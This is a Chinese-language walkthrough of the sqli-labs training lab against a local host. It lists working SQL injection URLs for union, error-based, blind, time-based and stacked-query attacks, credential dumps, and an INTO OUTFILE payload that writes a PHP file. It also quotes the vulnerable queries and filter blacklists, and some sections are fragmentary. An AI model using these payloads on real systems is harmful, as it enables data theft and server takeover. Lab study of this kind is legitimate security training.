Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
手动注入
输入?id=1'观察报错
根据报错猜测是未用''包裹$id，直接对输入进行拼接，故与less-1相比只需去掉数字后的'即可。
#尝试 http://127.0.0.1:8081/sqli-labs/Less-2/?id=1 or1=1--+ #爆列数 http://127.0.0.1:8081/sqli-labs/Less-2/?id=1 order by 1--+ http://127.0.0.1:8081/sqli-labs/Less-2/?id=1 order by 2--+ http://127.0.0.1:8081/sqli-labs/Less-2/?id=1 order by 3--+ http://127.0.0.1:8081/sqli-labs/Less-2/?id=1 order by 4--+ #爆库名 http://127.0.0.1:8081/sqli-labs/Less-2/?id=-1 union select1,group_concat(schema_name),3 from information_schema.schemata--+ #爆表名 http://127.0.0.1:8081/sqli-labs/Less-2/?id=-1 union select1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ #爆列名 http://127.0.0.1:8081/sqli-labs/Less-2/?id=-1 union select1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ #爆数据 http://127.0.0.1:8081/sqli-labs/Less-2/?id=-1 union select1,2,group_concat(username,0x3a,password) from users--+
源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可以看到直接把$id拼接了进来。
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
手动注入
输入?id=1'观察报错
根据报错猜测原语句是('$id')，故只需用')来闭合即可。
#尝试 http://127.0.0.1:8081/sqli-labs/Less-3/?id=1')--+ #爆列数 http://127.0.0.1:8081/sqli-labs/Less-3/?id=1')order by 1--+ http://127.0.0.1:8081/sqli-labs/Less-3/?id=1')order by 2--+ http://127.0.0.1:8081/sqli-labs/Less-3/?id=1')order by 3--+ http://127.0.0.1:8081/sqli-labs/Less-3/?id=1')order by 4--+ #爆库名 http://127.0.0.1:8081/sqli-labs/Less-3/?id=-1')union select1,group_concat(schema_name),3 from information_schema.schemata--+ #爆表名 http://127.0.0.1:8081/sqli-labs/Less-3/?id=-1')union select1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ #爆列名 http://127.0.0.1:8081/sqli-labs/Less-3/?id=-1')union select1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ #爆数据 http://127.0.0.1:8081/sqli-labs/Less-3/?id=-1')union select1,2,group_concat(username,0x3a,password) from users--+
源码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
手动注入
还是输入?id=1'，发现能正常显示，故使用?id=1"进行尝试
根据报错猜测原语句是("$id")，故只需用")来闭合即可。
#尝试 http://127.0.0.1:8081/sqli-labs/Less-4/?id=1")--+ #爆列数 http://127.0.0.1:8081/sqli-labs/Less-4/?id=1")order by 1--+ http://127.0.0.1:8081/sqli-labs/Less-4/?id=1")order by 2--+ http://127.0.0.1:8081/sqli-labs/Less-4/?id=1")order by 3--+ http://127.0.0.1:8081/sqli-labs/Less-4/?id=1")order by 4--+ #爆库名 http://127.0.0.1:8081/sqli-labs/Less-4/?id=-1")union select1,group_concat(schema_name),3 from information_schema.schemata--+ #爆表名 http://127.0.0.1:8081/sqli-labs/Less-4/?id=-1")union select1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ #爆列名 http://127.0.0.1:8081/sqli-labs/Less-4/?id=-1")union select1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ #爆数据 http://127.0.0.1:8081/sqli-labs/Less-4/?id=-1")union select1,2,group_concat(username,0x3a,password) from users--+
源码分析
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH);
#爆表名，这里第一个表是emails，使用的数据库是security http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+ http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+
#爆出第一个字符后挨个爆破剩余字符，最后获取第一个表名，如果想获取第二个，只需要修改limit后的内容即可 http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
利用regexp()函数获取列名字
正则匹配，如果正确则能看到You are in...........正确显示，否则不能。
#看users中是否有以us开头的列名 http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and1=(select1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ #看users中是否有以pass开头的列名 http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and 1=(select1 from information_schema.columns where table_name='users' and column_name regexp '^pass[a-z]' limit 0,1)--+
利用ord()和mid()函数获取users 表的内容
#第一个用户名为Dumb，此语句是看第一个用户名的第一个字符是否为D http://127.0.0.1:8081/sqli-labs/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
http://127.0.0.1:8081/sqli-labs/Less-5/?id=-1'unionselect1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
http://127.0.0.1:8081/sqli-labs/Less-5/?id=1' unionselect (!(select * from (select user())x) - ~0),2,3--+
利用xpath 函数报错注入
http://127.0.0.1:8081/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1:8081/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
利用数据的重复性
http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'unionselect1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x--+
延时注入
http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ http://127.0.0.1:8081/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+
$uname = check_input($con1, $_POST['uname']); $passwd = check_input($con1, $_POST['passwd']); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
Less-23 GET - Error based - strip comments (基于错误的，过滤注释的GET型)
手动注入
#获取路径 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'unionselect1,@@basedir,'3 #获取数据库名 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'union select1,(select group_concat(schema_name) from information_schema.schemata),'3 #获取security中所有表名 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'union select1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 #获取users中所有列名 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'union select1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3 #获取users中username这一列内容 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'union select1,(select group_concat(username) from security.users limit 0,1),'3 #获取users中password这一列内容 http://127.0.0.1:8081/sqli-labs/Less-23/?id=-1'union select1,(select group_concat(password) from security.users limit 0,1),'3 #报错注入获取数据库名 http://127.0.0.1:8081/sqli-labs/Less-23/?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='1
源码分析
$id=$_GET['id'];
//filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
过滤了#和--这两种注释符号。
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
手动注入
注册一个账号为admin'#的账户
注册成功后在后台可以看到信息
用刚注册的账号登录并修改密码即可更改admin的密码
源码分析
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return$id; }
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return$id; }
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
手动注入
不能报错注入，直接盲注即可
源码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return$id; }
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
mysqli_query($con1, "SET NAMES gbk"); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
Page-3 (Stacked Injections)
Less-38 stacked Query
手动注入
加入一条数据
http://127.0.0.1:8081/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
Less-39 stacked Query Intiger type
手动注入
http://127.0.0.1:8081/sqli-labs/Less-39/?id=1;insert into users(id,username,password) values ('39','less39','hello')--+
Less-40 stacked Query String type Blind
手动注入
http://127.0.0.1:8081/sqli-labs/Less-40/?id=1'); insert into users(id,username, password) values ('40','less40','hello')--+
Less-41 stacked Query Intiger type blind
手动注入
http://127.0.0.1:8081/sqli-labs/Less-41/?id=1;insert into users(id,username,password) values ('41','less41','hello')--+
源码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-42 - Stacked Query error based
手动注入
username:admin
Password:c’;create table less42 like users–+
less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
手动注入
username:admin
Password:c’);create table less43 like users–+
Less-44 - Stacked Query blind
手动注入
username:admin
Password:c’;create table less44 like users–+
less-45 基于报错的password处的’)闭合注入
手动注入
username:admin
Password:c’);create table less45 like users–+
less-46 ORDER BY-Error-Numeric
手动注入
#报错注入 http://127.0.0.1:8081/sqli-labs/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) #也可以导入导出文件into outfile 参数
源码分析
$sql = "SELECT * FROM users ORDER BY $id";
Less-47 - ORDER BY Clause-Error-Single quote
手动注入
http://127.0.0.1:8081/sqli-labs/Less-47/?sort=1'into outfile "文件地址"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
Less-48 - ORDER BY Clause Blind based
手动注入
布尔盲注、延时注入及对文件操作均可，除不能报错注入外同Less-46
Less49 - ORDER BY Clause Blind based
手动注入
除不能报错注入外同Less-47
Less50 - ORDER BY Clause Blind based
手动注入
http://127.0.0.1:8081/sqli-labs/Less-50/?sort=1;create table less50 like users
Less-51 - ORDER BY Clause Blind based
手动注入
http://127.0.0.1:8081/sqli-labs/Less-51/?sort=1';create table less51 like users--+
Less-52 - ORDER BY Clause Blind based
手动注入
http://127.0.0.1:8081/sqli-labs/Less-52/?sort=1;create table less52 like users
Less-53 - ORDER BY Clause Blind based
手动注入
http://127.0.0.1:8081/sqli-labs/Less-53/?sort=1';create table less53 like users--+
Page-4 (Challenges)
Less-54:Challenge-1
手动注入
#获取表名cul94axau9 http://127.0.0.1:8081/sqli-labs/Less-54/index.php?id=-1'unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ #获取列名id,sessid,secret_B27K,tryy http://127.0.0.1:8081/sqli-labs/Less-54/index.php?id=-1'union select1,2,group_concat(column_name) from information_schema.columns where table_name='cul94axau9'--+ #获取答案 http://127.0.0.1:8081/sqli-labs/Less-54/index.php?id=-1'union select1,2,group_concat(secret_B27K) from challenges.cul94axau9--+
Less-55:Challenge-2
手动注入
#获取表名k6cm9525rm http://127.0.0.1:8081/sqli-labs/Less-55/index.php?id=-1)unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ #获取列名id,sessid,secret_6TMN,tryy http://127.0.0.1:8081/sqli-labs/Less-55/index.php?id=-1)union select1,2,group_concat(column_name) from information_schema.columns where table_name='k6cm9525rm'--+ #获取答案 http://127.0.0.1:8081/sqli-labs/Less-55/index.php?id=-1)union select1,2,group_concat(secret_6TMN) from challenges.k6cm9525rm--+
Less-56:Challenge-3
手动注入
本关使用('')处理输入
http://127.0.0.1:8081/sqli-labs/Less-56/?id=-1')unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
源码分析
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
Less-57:Challenge-4
手动注入
本关使用""处理输入
http://127.0.0.1:8081/sqli-labs/Less-57/?id=-1"unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
源码分析
$id= '"'.$id.'"'; // Querry DB to get the correct output $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-58:Challenge-5
手动注入
报错注入
http://127.0.0.1:8081/sqli-labs/Less-58/?id=-1'unionselect extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
Less-59:Challenge-6
手动注入
报错注入
http://127.0.0.1:8081/sqli-labs/Less-59/?id=-1 unionselect extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
源码分析
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-60:Challenge-7
手动注入
报错注入
http://127.0.0.1:8081/sqli-labs/Less-60/?id=-1")unionselect extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
源码分析
$id = '("'.$id.'")'; // Querry DB to get the correct output $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
Less-61:Challenge-8
手动注入
报错注入
http://127.0.0.1:8081/sqli-labs/Less-61/?id=-1'))unionselect extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
源码分析
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
Less-62:Challenge-9
手动注入
延时注入（可以使用脚本）
http://127.0.0.1:8081/sqli-labs/Less-61/?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
源码分析
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
Less-63:Challenge-10
手动注入
同Less-62，使用延时注入。
源码分析
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
Less-64:Challenge-11
手动注入
同Less-62，使用延时注入。
源码分析
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
Less-65:Challenge-12
手动注入
同Less-62，使用延时注入。
源码分析
$id = '"'.$id.'"'; // Querry DB to get the correct output $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
常用方法总结
一般流程
Mysql 有一个系统数据库information_schema，存储着所有的数据库的相关信息，一般的，我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata select group_concat(schema_name) from information_schema.schemata select 1,group_concat(schema_name),3 from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxxx' select group_concat(table_name) from information_schema.tables where table_schema='xxxxx' select 1,group_concat(table_name),3 from information_schema.tables where table_schema='xxxxx'
猜某表的所有列
Select column_name from information_schema.columns where table_name='xxxxx' select group_concat(column_name) from information_schema.columns where table_name='xxxxx' select 1,group_concat(column_name),3 from information_schema.columns where table_name='xxxxx'
